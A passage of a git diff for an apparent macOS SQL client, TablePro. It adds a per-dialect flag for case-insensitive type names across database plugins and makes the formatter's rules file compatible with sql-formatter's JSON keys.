b/apple/Plugins/OracleDriverPlugin/OraclePlugin.swift index 38057bb611..07d7a583c3 100644 --- a/apple/Plugins/OracleDriverPlugin/OraclePlugin.swift +++ b/apple/Plugins/OracleDriverPlugin/OraclePlugin.swift @@ -165,7 +165,8 @@ final class OraclePlugin: NSObject, TableProPlugin, DriverPlugin, PluginDiagnost caseSensitivityStyle: .caseFoldFunction, operators: SQLEngineVocabulary.oracle.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)), textCastTypeName: nil, - functionNamesAreCaseInsensitive: SQLEngineVocabulary.oracle.functionNamesAreCaseInsensitive + functionNamesAreCaseInsensitive: SQLEngineVocabulary.oracle.functionNamesAreCaseInsensitive, + typeNamesAreCaseInsensitive: true ) func createDriver(config: DriverConnectionConfig) -> any PluginDatabaseDriver { diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLDialect.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLDialect.swift index b4b950c780..510f7ce268 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLDialect.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLDialect.swift @@ -16,7 +16,8 @@ enum PostgreSQLDialect { caseSensitivityStyle: .ilikeOperator, operators: SQLEngineVocabulary.postgreSQL.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)), textCastTypeName: "TEXT", - functionNamesAreCaseInsensitive: SQLEngineVocabulary.postgreSQL.functionNamesAreCaseInsensitive + functionNamesAreCaseInsensitive: SQLEngineVocabulary.postgreSQL.functionNamesAreCaseInsensitive, + typeNamesAreCaseInsensitive: true ) static let keywords: Set = reservedKeywords diff --git a/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift b/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift index 3fb5146cd4..bd2222677e 100644 --- a/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift +++ b/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift @@ -94,7 +94,8 @@ final class SQLitePlugin: NSObject, TableProPlugin, DriverPlugin { caseSensitivityStyle: .collationDefined, operators: SQLEngineVocabulary.sqlite.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)), textCastTypeName: nil, - functionNamesAreCaseInsensitive: SQLEngineVocabulary.sqlite.functionNamesAreCaseInsensitive + functionNamesAreCaseInsensitive: SQLEngineVocabulary.sqlite.functionNamesAreCaseInsensitive, + typeNamesAreCaseInsensitive: true ) func createDriver(config: DriverConnectionConfig) -> any PluginDatabaseDriver { diff --git a/apple/Plugins/SnowflakeDriverPlugin/SnowflakePlugin.swift b/apple/Plugins/SnowflakeDriverPlugin/SnowflakePlugin.swift index 9dfee3f480..95a9c631ce 100644 --- a/apple/Plugins/SnowflakeDriverPlugin/SnowflakePlugin.swift +++ b/apple/Plugins/SnowflakeDriverPlugin/SnowflakePlugin.swift @@ -266,7 +266,10 @@ final class SnowflakePlugin: NSObject, TableProPlugin, DriverPlugin { likeEscapeStyle: .explicit, paginationStyle: .limit, requiresBackslashEscaping: true, - caseSensitivityStyle: .ilikeOperator + caseSensitivityStyle: .ilikeOperator, + textCastTypeName: nil, + functionNamesAreCaseInsensitive: true, + typeNamesAreCaseInsensitive: true ) static let explainVariants: [ExplainVariant] = [ diff --git a/apple/Plugins/SpannerDriverPlugin/SpannerPlugin.swift b/apple/Plugins/SpannerDriverPlugin/SpannerPlugin.swift index 78f2c2dfd2..51a6bbcd6d 100644 --- a/apple/Plugins/SpannerDriverPlugin/SpannerPlugin.swift +++ b/apple/Plugins/SpannerDriverPlugin/SpannerPlugin.swift @@ -201,6 +201,9 @@ internal enum SpannerSQLDialect { booleanLiteralStyle: .truefalse, likeEscapeStyle: .implicit, paginationStyle: .limit, - caseSensitivityStyle: .caseFoldFunction + caseSensitivityStyle: .caseFoldFunction, + textCastTypeName: nil, + functionNamesAreCaseInsensitive: true, + typeNamesAreCaseInsensitive: true ) } diff --git a/apple/Plugins/TableProPluginKit/SQLDialectDescriptor.swift b/apple/Plugins/TableProPluginKit/SQLDialectDescriptor.swift index 97f6dec73c..46e48f7dc5 100644 --- a/apple/Plugins/TableProPluginKit/SQLDialectDescriptor.swift +++ b/apple/Plugins/TableProPluginKit/SQLDialectDescriptor.swift @@ -107,6 +107,10 @@ public struct SQLDialectDescriptor: Sendable { /// gates then read every grammar TablePro knows. Ignored for an engine the app curates itself. public let lexicalFeatures: SQLLexicalFeatures? + // Whether the engine reads a built-in type name in any case, so the formatter may re-case it. False when the + // plugin does not say: ClickHouse's `String` and `UInt8` are matched by exact case. + public let typeNamesAreCaseInsensitive: Bool + public enum CaseSensitivityStyle: String, Sendable { case ilikeOperator // PostgreSQL, CockroachDB, PGlite, DuckDB, Snowflake case caseFoldFunction // Oracle, BigQuery, ClickHouse, Redshift @@ -331,6 +335,7 @@ public struct SQLDialectDescriptor: Sendable { ) } + @_disfavoredOverload public init( identifierQuote: String, keywords: Set, @@ -350,8 +355,53 @@ public struct SQLDialectDescriptor: Sendable { textCastTypeName: String?, functionNamesAreCaseInsensitive: Bool, lexicalFeatures: SQLLexicalFeatures? = nil + ) { + self.init( + identifierQuote: identifierQuote, + keywords: keywords, + functions: functions, + dataTypes: dataTypes, + tableOptions: tableOptions, + regexSyntax: regexSyntax, + booleanLiteralStyle: booleanLiteralStyle, + likeEscapeStyle: likeEscapeStyle, + paginationStyle: paginationStyle, + offsetFetchOrderBy: offsetFetchOrderBy, + requiresBackslashEscaping: requiresBackslashEscaping, + autoLimitStyle: autoLimitStyle, + caseSensitivityStyle: caseSensitivityStyle, + caseFoldFunction: caseFoldFunction, + operators: operators, + textCastTypeName: textCastTypeName, + functionNamesAreCaseInsensitive: functionNamesAreCaseInsensitive, + lexicalFeatures: lexicalFeatures, + typeNamesAreCaseInsensitive: false + ) + } + + public init( + identifierQuote: String, + keywords: Set, + functions: Set, + dataTypes: Set, + tableOptions: [String] = [], + regexSyntax: RegexSyntax = .unsupported, + booleanLiteralStyle: BooleanLiteralStyle = .numeric, + likeEscapeStyle: LikeEscapeStyle = .explicit, + paginationStyle: PaginationStyle = .limit, + offsetFetchOrderBy: String = "ORDER BY (SELECT NULL)", + requiresBackslashEscaping: Bool = false, + autoLimitStyle: AutoLimitStyle = .limit, + caseSensitivityStyle: CaseSensitivityStyle = .unsupported, + caseFoldFunction: String = SQLDialectDescriptor.defaultCaseFoldFunction, + operators: [SQLOperatorDescriptor] = [], + textCastTypeName: String?, + functionNamesAreCaseInsensitive: Bool, + lexicalFeatures: SQLLexicalFeatures? = nil, + typeNamesAreCaseInsensitive: Bool = false ) { self.lexicalFeatures = lexicalFeatures + self.typeNamesAreCaseInsensitive = typeNamesAreCaseInsensitive self.identifierQuote = identifierQuote self.keywords = keywords self.functions = functions @@ -395,7 +445,8 @@ public struct SQLDialectDescriptor: Sendable { operators: operators, textCastTypeName: textCastTypeName, functionNamesAreCaseInsensitive: functionNamesAreCaseInsensitive, - lexicalFeatures: lexicalFeatures + lexicalFeatures: lexicalFeatures, + typeNamesAreCaseInsensitive: typeNamesAreCaseInsensitive ) } } diff --git a/apple/Plugins/TeradataDriverPlugin/TeradataPlugin.swift b/apple/Plugins/TeradataDriverPlugin/TeradataPlugin.swift index b417b59570..e15f0bfdb7 100644 --- a/apple/Plugins/TeradataDriverPlugin/TeradataPlugin.swift +++ b/apple/Plugins/TeradataDriverPlugin/TeradataPlugin.swift @@ -105,7 +105,10 @@ final class TeradataPlugin: NSObject, TableProPlugin, DriverPlugin { "JSON", "XML", "ST_GEOMETRY", ], autoLimitStyle: .top, - caseSensitivityStyle: .unsupported + caseSensitivityStyle: .unsupported, + textCastTypeName: nil, + functionNamesAreCaseInsensitive: true, + typeNamesAreCaseInsensitive: true ) private static let logger = Logger(subsystem: "com.TablePro", category: "TeradataPlugin") diff --git a/apple/Plugins/TrinoDriverPlugin/TrinoPlugin.swift b/apple/Plugins/TrinoDriverPlugin/TrinoPlugin.swift index ff59f1914f..0244a3c173 100644 --- a/apple/Plugins/TrinoDriverPlugin/TrinoPlugin.swift +++ b/apple/Plugins/TrinoDriverPlugin/TrinoPlugin.swift @@ -143,7 +143,10 @@ final class TrinoPlugin: NSObject, TableProPlugin, DriverPlugin { likeEscapeStyle: .explicit, paginationStyle: .offsetFetch, offsetFetchOrderBy: "", - caseSensitivityStyle: .regexFlag + caseSensitivityStyle: .regexFlag, + textCastTypeName: nil, + functionNamesAreCaseInsensitive: true, + typeNamesAreCaseInsensitive: true ) static let explainVariants: [ExplainVariant] = [ diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CloudDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CloudDefaults.swift index 980fbea84a..8b62ed43fc 100644 --- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CloudDefaults.swift +++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CloudDefaults.swift @@ -153,7 +153,10 @@ extension PluginMetadataRegistry { booleanLiteralStyle: .truefalse, likeEscapeStyle: .implicit, paginationStyle: .limit, - caseSensitivityStyle: .caseFoldFunction + caseSensitivityStyle: .caseFoldFunction, + textCastTypeName: nil, + functionNamesAreCaseInsensitive: true, + typeNamesAreCaseInsensitive: true ), statementCompletions: [ CompletionEntry(label: "SELECT", insertText: "SELECT"), @@ -339,7 +342,10 @@ extension PluginMetadataRegistry { booleanLiteralStyle: .truefalse, likeEscapeStyle: .implicit, paginationStyle: .limit, - caseSensitivityStyle: .caseFoldFunction + caseSensitivityStyle: .caseFoldFunction, + textCastTypeName: nil, + functionNamesAreCaseInsensitive: true, + typeNamesAreCaseInsensitive: true ), statementCompletions: [ CompletionEntry(label: "SELECT", insertText: "SELECT"), @@ -595,7 +601,10 @@ extension PluginMetadataRegistry { likeEscapeStyle: .explicit, paginationStyle: .limit, requiresBackslashEscaping: true, - caseSensitivityStyle: .ilikeOperator + caseSensitivityStyle: .ilikeOperator, + textCastTypeName: nil, + functionNamesAreCaseInsensitive: true, + typeNamesAreCaseInsensitive: true ), statementCompletions: [ CompletionEntry(label: "SELECT", insertText: "SELECT"), diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift index b07d3cb752..872fd315f8 100644 --- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift +++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift @@ -50,7 +50,8 @@ extension PluginMetadataRegistry { caseSensitivityStyle: .collationDefined, operators: SQLEngineVocabulary.mySQL.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)), textCastTypeName: nil, - functionNamesAreCaseInsensitive: SQLEngineVocabulary.mySQL.functionNamesAreCaseInsensitive + functionNamesAreCaseInsensitive: SQLEngineVocabulary.mySQL.functionNamesAreCaseInsensitive, + typeNamesAreCaseInsensitive: true ) let mysqlColumnTypes: [String: [String]] = [ @@ -92,7 +93,8 @@ extension PluginMetadataRegistry { caseSensitivityStyle: .ilikeOperator, operators: SQLEngineVocabulary.postgreSQL.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)), textCastTypeName: nil, - functionNamesAreCaseInsensitive: SQLEngineVocabulary.postgreSQL.functionNamesAreCaseInsensitive + functionNamesAreCaseInsensitive: SQLEngineVocabulary.postgreSQL.functionNamesAreCaseInsensitive, + typeNamesAreCaseInsensitive: true ) // Redshift ILIKE only folds ASCII, so it uses LOWER on both sides instead. @@ -147,7 +149,8 @@ extension PluginMetadataRegistry { caseSensitivityStyle: .collationDefined, operators: SQLEngineVocabulary.sqlite.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)), textCastTypeName: nil, - functionNamesAreCaseInsensitive: SQLEngineVocabulary.sqlite.functionNamesAreCaseInsensitive + functionNamesAreCaseInsensitive: SQLEngineVocabulary.sqlite.functionNamesAreCaseInsensitive, + typeNamesAreCaseInsensitive: true ) let sqliteColumnTypes: [String: [String]] = [ @@ -751,7 +754,8 @@ private extension SQLDialectDescriptor { operators: vocabulary.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)), textCastTypeName: textCastTypeName, functionNamesAreCaseInsensitive: vocabulary.functionNamesAreCaseInsensitive, - lexicalFeatures: lexicalFeatures + lexicalFeatures: lexicalFeatures, + typeNamesAreCaseInsensitive: typeNamesAreCaseInsensitive ) } } diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+HanaDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+HanaDefaults.swift index c616f7271d..16e6804ba0 100644 --- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+HanaDefaults.swift +++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+HanaDefaults.swift @@ -124,7 +124,8 @@ private let hanaDialect = SQLDialectDescriptor( caseSensitivityStyle: .caseFoldFunction, textCastTypeName: nil, functionNamesAreCaseInsensitive: true, - lexicalFeatures: [.dollarAndHashInIdentifiers] + lexicalFeatures: [.dollarAndHashInIdentifiers], + typeNamesAreCaseInsensitive: true ) private func hanaConnectionFields() -> [ConnectionField] { diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift index 5c5b5b6f5b..9c5c0ebc69 100644 --- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift +++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift @@ -413,7 +413,10 @@ extension PluginMetadataRegistry { "DATE", "TIME", "TIMESTAMP", "INTERVAL", "PERIOD", "JSON", "XML", ], autoLimitStyle: .top, - caseSensitivityStyle: .unsupported + caseSensitivityStyle: .unsupported, + textCastTypeName: nil, + functionNamesAreCaseInsensitive: true, + typeNamesAreCaseInsensitive: true ), statementCompletions: [], columnTypesByCategory: [ diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryIngredients.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryIngredients.swift index 2e4454c3ac..8dc79aeb53 100644 --- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryIngredients.swift +++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryIngredients.swift @@ -138,7 +138,8 @@ extension PluginMetadataRegistry { caseSensitivityStyle: .collationDefined, operators: SQLEngineVocabulary.sqlServer.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)), textCastTypeName: nil, - functionNamesAreCaseInsensitive: SQLEngineVocabulary.sqlServer.functionNamesAreCaseInsensitive + functionNamesAreCaseInsensitive: SQLEngineVocabulary.sqlServer.functionNamesAreCaseInsensitive, + typeNamesAreCaseInsensitive: true ) let mssqlColumnTypes: [String: [String]] = [ @@ -186,7 +187,8 @@ extension PluginMetadataRegistry { caseSensitivityStyle: .caseFoldFunction, operators: SQLEngineVocabulary.oracle.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)), textCastTypeName: nil, - functionNamesAreCaseInsensitive: SQLEngineVocabulary.oracle.functionNamesAreCaseInsensitive + functionNamesAreCaseInsensitive: SQLEngineVocabulary.oracle.functionNamesAreCaseInsensitive, + typeNamesAreCaseInsensitive: true ) let oracleColumnTypes: [String: [String]] = [ @@ -244,7 +246,10 @@ extension PluginMetadataRegistry { paginationStyle: .offsetFetch, offsetFetchOrderBy: "ORDER BY 1", autoLimitStyle: .fetchFirst, - caseSensitivityStyle: .caseFoldFunction + caseSensitivityStyle: .caseFoldFunction, + textCastTypeName: nil, + functionNamesAreCaseInsensitive: true, + typeNamesAreCaseInsensitive: true ) let damengCompletions = [ CompletionEntry(label: "SELECT", insertText: "SELECT"), @@ -304,7 +309,8 @@ extension PluginMetadataRegistry { caseSensitivityStyle: .ilikeOperator, operators: SQLEngineVocabulary.duckDB.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)), textCastTypeName: "VARCHAR", - functionNamesAreCaseInsensitive: SQLEngineVocabulary.duckDB.functionNamesAreCaseInsensitive + functionNamesAreCaseInsensitive: SQLEngineVocabulary.duckDB.functionNamesAreCaseInsensitive, + typeNamesAreCaseInsensitive: true ) let duckdbColumnTypes: [String: [String]] = [ @@ -365,7 +371,10 @@ extension PluginMetadataRegistry { likeEscapeStyle: .explicit, paginationStyle: .limit, autoLimitStyle: .limit, - caseSensitivityStyle: .unsupported + caseSensitivityStyle: .unsupported, + textCastTypeName: nil, + functionNamesAreCaseInsensitive: true, + typeNamesAreCaseInsensitive: true ) let cassandraColumnTypes: [String: [String]] = [ @@ -566,7 +575,10 @@ extension PluginMetadataRegistry { booleanLiteralStyle: .numeric, likeEscapeStyle: .explicit, paginationStyle: .limit, - caseSensitivityStyle: .collationDefined + caseSensitivityStyle: .collationDefined, + textCastTypeName: nil, + functionNamesAreCaseInsensitive: true, + typeNamesAreCaseInsensitive: true ) let d1ColumnTypes: [String: [String]] = [ diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+SnapshotAdoption.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+SnapshotAdoption.swift index fd09d3271e..4b3bc5e265 100644 --- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+SnapshotAdoption.swift +++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+SnapshotAdoption.swift @@ -137,7 +137,8 @@ private extension SQLDialectDescriptor { operators: operators, textCastTypeName: textCastTypeName, functionNamesAreCaseInsensitive: functionNamesAreCaseInsensitive, - lexicalFeatures: lexicalFeatures + lexicalFeatures: lexicalFeatures, + typeNamesAreCaseInsensitive: typeNamesAreCaseInsensitive ) } } diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+TrinoDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+TrinoDefaults.swift index 4ced33b335..974471c1f2 100644 --- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+TrinoDefaults.swift +++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+TrinoDefaults.swift @@ -168,7 +168,10 @@ extension PluginMetadataRegistry { likeEscapeStyle: .explicit, paginationStyle: paginationStyle, offsetFetchOrderBy: "", - caseSensitivityStyle: .regexFlag + caseSensitivityStyle: .regexFlag, + textCastTypeName: nil, + functionNamesAreCaseInsensitive: true, + typeNamesAreCaseInsensitive: true ) } diff --git a/apple/TablePro/Core/Services/Formatting/QueryFormatter.swift b/apple/TablePro/Core/Services/Formatting/QueryFormatter.swift index 17451b68eb..e6ea542363 100644 --- a/apple/TablePro/Core/Services/Formatting/QueryFormatter.swift +++ b/apple/TablePro/Core/Services/Formatting/QueryFormatter.swift @@ -1,5 +1,6 @@ import Foundation import TableProPluginKit +import TableProSQLGrammar struct QueryFormatResult { let text: String @@ -12,16 +13,24 @@ protocol QueryFormatting { struct SQLQueryFormatter: QueryFormatting { private let dialect: DatabaseType + private let grammar: SQLLexicalGrammar? private let options: SQLFormatterOptions private let formatter = SQLFormatterService() - init(dialect: DatabaseType, options: SQLFormatterOptions = .default) { + init(dialect: DatabaseType, grammar: SQLLexicalGrammar? = nil, options: SQLFormatterOptions = .default) { self.dialect = dialect + self.grammar = grammar self.options = options } func format(_ text: String, cursorOffset: Int?) throws -> QueryFormatResult { - let result = try formatter.format(text, dialect: dialect, cursorOffset: cursorOffset, options: options) + let result = try formatter.format( + text, + dialect: dialect, + grammar: grammar, + cursorOffset: cursorOffset, + options: options + ) return QueryFormatResult(text: result.formattedSQL, cursorOffset: result.cursorOffset) } } @@ -32,9 +41,14 @@ enum QueryFormatterFactory { make(for: databaseType) { AppSettingsManager.shared.formatterOptions } } - // Throws when the linked folder's rules file can't be read, rather than format with Settings. - static func make(for databaseType: DatabaseType?, sourceFileURL: URL?) throws -> QueryFormatting? { - try make(for: databaseType) { try SQLFormatterRuleSource.options(forFileAt: sourceFileURL) } + // Throws when the linked folder's rules file can't be read, rather than format with Settings. `grammar` is the one + // the tab's statements are split with, so a literal or a comment ends where the connected engine ends it. + static func make( + for databaseType: DatabaseType?, + sourceFileURL: URL?, + grammar: SQLLexicalGrammar? = nil + ) throws -> QueryFormatting? { + try make(for: databaseType, grammar: grammar) { try SQLFormatterRuleSource.options(forFileAt: sourceFileURL) } } // Nil for a language with no formatter of its own. The SQL formatter reads a Redis key `user:1` as @@ -42,6 +56,7 @@ enum QueryFormatterFactory { // so running it there changes what the command does. private static func make( for databaseType: DatabaseType?, + grammar: SQLLexicalGrammar? = nil, sqlOptions: () throws -> SQLFormatterOptions ) rethrows -> QueryFormatting? { let dialect = databaseType ?? .mysql @@ -54,7 +69,7 @@ enum QueryFormatterFactory { switch PluginManager.shared.editorLanguage(for: dialect) { case .sql: - return SQLQueryFormatter(dialect: dialect, options: try sqlOptions()) + return SQLQueryFormatter(dialect: dialect, grammar: grammar, options: try sqlOptions()) case .javascript: return ConsoleRequestFormatter() case .bash, .custom: diff --git a/apple/TablePro/Core/Services/Formatting/SQLFormatterRulesFile.swift b/apple/TablePro/Core/Services/Formatting/SQLFormatterRulesFile.swift index 7800cecfc4..f87ac83045 100644 --- a/apple/TablePro/Core/Services/Formatting/SQLFormatterRulesFile.swift +++ b/apple/TablePro/Core/Services/Formatting/SQLFormatterRulesFile.swift @@ -41,21 +41,43 @@ struct SQLFormatterFolderRulesError: LocalizedError { } } +// The npm sql-formatter reads the same `.sql-formatter.json`, so a file either tool writes drives both. A rule both +// tools have uses sql-formatter's key and values; a TablePro-only rule uses a key sql-formatter ignores, never one it +// refuses (it throws on `commaPosition`, `aliasAs`, `tabulateAlias`, `multilineLists`, `newlineBeforeOpenParen`, +// `newlineBeforeCloseParen`); a sql-formatter option TablePro does not have, such as `language`, is ignored. enum SQLFormatterRulesFile { static let fileName = ".sql-formatter.json" static let exportFileName = "sql-formatter.json" static let maxSize = 64 * 1_024 + enum Key: String, CodingKey, CaseIterable { + case tabWidth + case useTabs + case keywordCase + case functionCase + case dataTypeCase + case logicalOperatorNewline + case commaPlacement + case lineWidth + case joinCondition + case alignAliases + case clauseItems + } + + // sql-formatter's own key. TablePro has no tabular layout, so a value sql-formatter documents is read and ignored. + static let indentStyleKey = "indentStyle" + static let sqlFormatterIndentStyles: Set = ["standard", "tabularLeft", "tabularRight"] + static func encode(_ options: SQLFormatterOptions) throws -> Data { let encoder = JSONEncoder() encoder.outputFormatting = [.prettyPrinted, .sortedKeys] - return try encoder.encode(options) + return try encoder.encode(FileRules(options: options)) } static func decode(_ data: Data) throws -> SQLFormatterOptions { guard data.count <= maxSize else { throw SQLFormatterRulesError.tooLarge } do { - return try JSONDecoder().decode(SQLFormatterOptions.self, from: data) + return try JSONDecoder().decode(FileRules.self, from: data).options } catch let error as DecodingError { throw rulesError(for: error) } @@ -117,6 +139,101 @@ enum SQLFormatterRulesFile { } } +// Strict: a value this build cannot read throws and names its key, a key it does not know is ignored. +private struct FileRules: Codable { + typealias Key = SQLFormatterRulesFile.Key + + let options: SQLFormatterOptions + + init(options: SQLFormatterOptions) { + self.options = options + } + + private struct AnyKey: CodingKey { + let stringValue: String + var intValue: Int? { nil } + + init(stringValue: String) { + self.stringValue = stringValue + } + + init?(intValue: Int) { + nil + } + } + + init(from decoder: Decoder) throws { + let container = try decoder.container(keyedBy: Key.self) + var options = SQLFormatterOptions.default + if let useTabs = try container.decodeIfPresent(Bool.self, forKey: .useTabs) { + options.indentStyle = useTabs ? .tabs : .spaces + } + options.indentWidth = try Self.decodeInt(container, .tabWidth, in: SQLFormatterOptions.indentWidthRange) + ?? options.indentWidth + options.keywordCase = try container.decodeIfPresent(SQLFormatterCase.self, forKey: .keywordCase) + ?? options.keywordCase + options.functionCase = try container.decodeIfPresent(SQLFormatterCase.self, forKey: .functionCase) + ?? options.functionCase + options.dataTypeCase = try container.decodeIfPresent(SQLFormatterCase.self, forKey: .dataTypeCase) + ?? options.dataTypeCase + options.logicalOperatorNewline = try container.decodeIfPresent( + SQLFormatterLogicalOperatorNewline.self, forKey: .logicalOperatorNewline + ) ?? options.logicalOperatorNewline + options.commaPosition = try container.decodeIfPresent(SQLFormatterCommaPosition.self, forKey: .commaPlacement) + ?? options.commaPosition + options.lineWidth = try Self.decodeInt(container, .lineWidth, in: SQLFormatterOptions.lineWidthRange) + ?? options.lineWidth + options.joinCondition = try container.decodeIfPresent(SQLFormatterJoinCondition.self, forKey: .joinCondition) + ?? options.joinCondition + options.alignAliases = try container.decodeIfPresent(Bool.self, forKey: .alignAliases) ?? options.alignAliases + options.clauseItems = try container.decodeIfPresent(SQLFormatterClauseItems.self, forKey: .clauseItems) + ?? options.clauseItems + + let shared = try decoder.container(keyedBy: AnyKey.self) + let indentStyleKey = AnyKey(stringValue: SQLFormatterRulesFile.indentStyleKey) + if let indentStyle = try shared.decodeIfPresent(String.self, forKey: indentStyleKey), + !SQLFormatterRulesFile.sqlFormatterIndentStyles.contains(indentStyle) { + throw DecodingError.dataCorruptedError( + forKey: indentStyleKey, + in: shared, + debugDescription: "indentStyle must be one of sql-formatter's values" + ) + } + self.options = options + } + + func encode(to encoder: Encoder) throws { + var container = encoder.container(keyedBy: Key.self) + try container.encode(options.indentWidth, forKey: .tabWidth) + try container.encode(options.indentStyle == .tabs, forKey: .useTabs) + try container.encode(options.keywordCase, forKey: .keywordCase) + try container.encode(options.functionCase, forKey: .functionCase) + try container.encode(options.dataTypeCase, forKey: .dataTypeCase) + try container.encode(options.logicalOperatorNewline, forKey: .logicalOperatorNewline) + try container.encode(options.commaPosition, forKey: .commaPlacement) + try container.encode(options.lineWidth, forKey: .lineWidth) + try container.encode(options.joinCondition, forKey: .joinCondition) + try container.encode(options.alignAliases, forKey: .alignAliases) + try container.encode(options.clauseItems, forKey: .clauseItems) + } + + private static func decodeInt( + _ container: KeyedDecodingContainer, + _ key: Key, + in range: ClosedRange + ) throws -> Int? { + guard let value = try container.decodeIfPresent(Int.self, forKey: key) else { return nil } + guard range.contains(value) else { + throw DecodingError.dataCorruptedError( + forKey: key, + in: container, + debugDescription: "\(key.stringValue) must be between \(range.lowerBound) and \(range.upperBound)" + ) + } + return value + } +} + @MainActor enum SQLFormatterRuleSource { // A rules file in the linked folder wins over Settings, so every Mac formats that folder alike. diff --git a/apple/TablePro/Core/Services/Formatting/SQLFormatterService.swift b/apple/TablePro/Core/Services/Formatting/SQLFormatterService.swift index 59e894d9ba..deddba5282 100644 --- a/apple/TablePro/Core/Services/Formatting/SQLFormatterService.swift +++ b/apple/TablePro/Core/Services/Formatting/SQLFormatterService.swift @@ -4,11 +4,13 @@ // import Foundation +import TableProSQLGrammar protocol SQLFormatterProtocol { func format( _ sql: String, dialect: DatabaseType, + grammar: SQLLexicalGrammar?, cursorOffset: Int?, options: SQLFormatterOptions ) throws -> SQLFormatterResult @@ -17,14 +19,16 @@ protocol SQLFormatterProtocol { struct SQLFormatterService: SQLFormatterProtocol { private static let maxInputSize = 10 * 1_024 * 1_024 + // `grammar` is the one the tab's statements are split with; nil reads the engine's default. func format( _ sql: String, dialect: DatabaseType, + grammar: SQLLexicalGrammar? = nil, cursorOffset: Int? = nil, options: SQLFormatterOptions = .default ) throws -> SQLFormatterResult { guard sql.utf8.count <= Self.maxInputSize else { - throw SQLFormatterError.internalError("SQL too large (max \(Self.maxInputSize / 1_024 / 1_024)MB)") + throw SQLFormatterError.inputTooLarge(maxBytes: Self.maxInputSize) } let trimmed = sql.trimmingCharacters(in: .whitespacesAndNewlines) @@ -42,15 +46,21 @@ struct SQLFormatterService: SQLFormatterProtocol { .union(dialectProvider.functions) .union(dialectProvider.dataTypes) - let tokenizer = SQLTokenizer(dialectKeywords: dialectKeywords) - let tokens = tokenizer.tokenize(sql) + let tokenizer = SQLTokenizer(dialectKeywords: dialectKeywords, operators: dialectProvider.operators) + let readGrammar = grammar ?? dialect.lexicalGrammar + let tokens = tokenizer.tokenize(sql, grammar: readGrammar) var tokenFormatter = SQLTokenFormatter( options: options, dialectFunctions: dialectProvider.functions, dialectDataTypes: dialectProvider.dataTypes, - rewritesFunctionCase: dialectProvider.functionNamesAreCaseInsensitive + rewritesFunctionCase: dialectProvider.functionNamesAreCaseInsensitive, + rewritesDataTypeCase: dialectProvider.typeNamesAreCaseInsensitive + ) + let readsDirectives = !readGrammar.isDisjoint(with: [.batchSeparatorLines, .delimiterDirective, .slashLineTerminators]) + let formatted = tokenFormatter.format( + tokens, + directiveLines: readsDirectives ? { tokenizer.directiveLines(in: $0, grammar: readGrammar) } : nil ) - let formatted = tokenFormatter.format(tokens) let newCursor = cursorOffset.map { original in mapCursorPosition(original: original, oldLength: sql.utf16.count, newLength: formatted.utf16.count) @@ -66,8 +76,9 @@ struct SQLFormatterService: SQLFormatterProtocol { } } -// SELECT, SET and WHERE lists are written inline and kept open until their clause ends, when one that -// overflows the line width gets its separators rewritten broken and its aliases aligned. +// SELECT, SET, WHERE and HAVING lists are written inline and kept open until their clause ends, when one that +// overflows the line width gets its separators rewritten broken and its aliases aligned. A block's body sits one level +// under the line its `(` is on, and a CASE lines up with the line it starts on. internal struct SQLTokenFormatter { let options: SQLFormatterOptions @@ -84,6 +95,8 @@ internal struct SQLTokenFormatter { "BLOB", "CLOB", "BINARY", "VARBINARY", "JSON", "JSONB", "XML", "UUID", "SERIAL", "BIGSERIAL", + "DOUBLE PRECISION", "CHARACTER VARYING", "CHAR VARYING", "NATIONAL CHARACTER", "NATIONAL CHAR", "BIT VARYING", + "TIMESTAMP WITH TIME ZONE", "TIMESTAMP WITHOUT TIME ZONE", "TIME WITH TIME ZONE", "TIME WITHOUT TIME ZONE", ] // Width of `SELECT ` and `SET `, which the items after the first line up under. @@ -92,47 +105,84 @@ internal struct SQLTokenFormatter { private let functions: Set private let 